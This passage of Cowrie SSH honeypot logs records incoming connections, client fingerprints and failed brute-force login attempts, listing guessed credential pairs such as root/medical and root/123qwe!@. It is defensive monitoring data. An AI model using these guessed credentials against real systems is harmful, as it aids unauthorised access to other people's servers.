{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:17.765769Z","src_ip":"104.28.195.187","session":"67da199c940b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":62031,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d849e18f0aa","protocol":"ssh","message":"New connection: 95.90.13.168:62031 (10.17.0.5:22) [session: 7d849e18f0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:18.936914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:18.946023Z","src_ip":"95.90.13.168","session":"7d849e18f0aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:19.058420Z","src_ip":"95.90.13.168","session":"7d849e18f0aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:19.537475Z","src_ip":"95.90.13.168","session":"7d849e18f0aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:20.655277Z","src_ip":"95.90.13.168","session":"7d849e18f0aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:28.901172Z","src_ip":"8.218.166.49","session":"326f2ebc2257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.7","message":"Connection lost after 37.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:31.264336Z","src_ip":"8.218.166.49","session":"326f2ebc2257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34122,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d52726a2d07","protocol":"ssh","message":"New connection: 8.218.166.49:34122 (10.17.0.5:22) [session: 7d52726a2d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:35.574422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:35.582383Z","src_ip":"8.218.166.49","session":"7d52726a2d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:35.776713Z","src_ip":"8.218.166.49","session":"7d52726a2d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34126,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d29c9824d8e","protocol":"ssh","message":"New connection: 8.218.166.49:34126 (10.17.0.5:22) [session: 1d29c9824d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:43.661225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:43.666209Z","src_ip":"8.218.166.49","session":"1d29c9824d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60976,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7ea53b3a0be","protocol":"ssh","message":"New connection: 8.218.166.49:60976 (10.17.0.5:22) [session: c7ea53b3a0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:50.138644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:50.143205Z","src_ip":"8.218.166.49","session":"c7ea53b3a0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":63907,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be70a718d98","protocol":"ssh","message":"New connection: 95.90.13.168:63907 (10.17.0.5:22) [session: 9be70a718d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:58.423742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:58.428916Z","src_ip":"95.90.13.168","session":"9be70a718d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:58.540554Z","src_ip":"95.90.13.168","session":"9be70a718d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:20:59.002172Z","src_ip":"95.90.13.168","session":"9be70a718d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:00.111093Z","src_ip":"95.90.13.168","session":"9be70a718d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:03.146782Z","src_ip":"8.218.166.49","session":"1d29c9824d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":33402,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d698ddfce54","protocol":"ssh","message":"New connection: 198.23.150.42:33402 (10.17.0.5:22) [session: 7d698ddfce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:08.137945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:08.142226Z","src_ip":"198.23.150.42","session":"7d698ddfce54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:08.160890Z","src_ip":"198.23.150.42","session":"7d698ddfce54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:08.269970Z","src_ip":"198.23.150.42","session":"7d698ddfce54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:09.292912Z","src_ip":"198.23.150.42","session":"7d698ddfce54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51028,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff9a58d323a","protocol":"ssh","message":"New connection: 8.218.166.49:51028 (10.17.0.5:22) [session: bff9a58d323a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:16.398828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:18.229245Z","src_ip":"8.218.166.49","session":"bff9a58d323a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:18.468256Z","src_ip":"8.218.166.49","session":"1d29c9824d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":32769,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8442655800f","protocol":"ssh","message":"New connection: 49.207.40.162:32769 (10.17.0.5:22) [session: f8442655800f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:19.714451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:19.723037Z","src_ip":"49.207.40.162","session":"f8442655800f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:19.943157Z","src_ip":"49.207.40.162","session":"f8442655800f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:20.857261Z","src_ip":"49.207.40.162","session":"f8442655800f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:21.000941Z","src_ip":"8.218.166.49","session":"bff9a58d323a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:22.081688Z","src_ip":"49.207.40.162","session":"f8442655800f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.4","message":"Connection lost after 41.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:25.103495Z","src_ip":"8.218.166.49","session":"1d29c9824d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":51282,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ec40353557","protocol":"ssh","message":"New connection: 182.180.57.212:51282 (10.17.0.5:22) [session: 63ec40353557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:25.683952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:25.689446Z","src_ip":"182.180.57.212","session":"63ec40353557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:25.930872Z","src_ip":"182.180.57.212","session":"63ec40353557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"intrepid","message":"login attempt [root/intrepid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:26.907752Z","src_ip":"182.180.57.212","session":"63ec40353557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:28.147706Z","src_ip":"182.180.57.212","session":"63ec40353557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"ma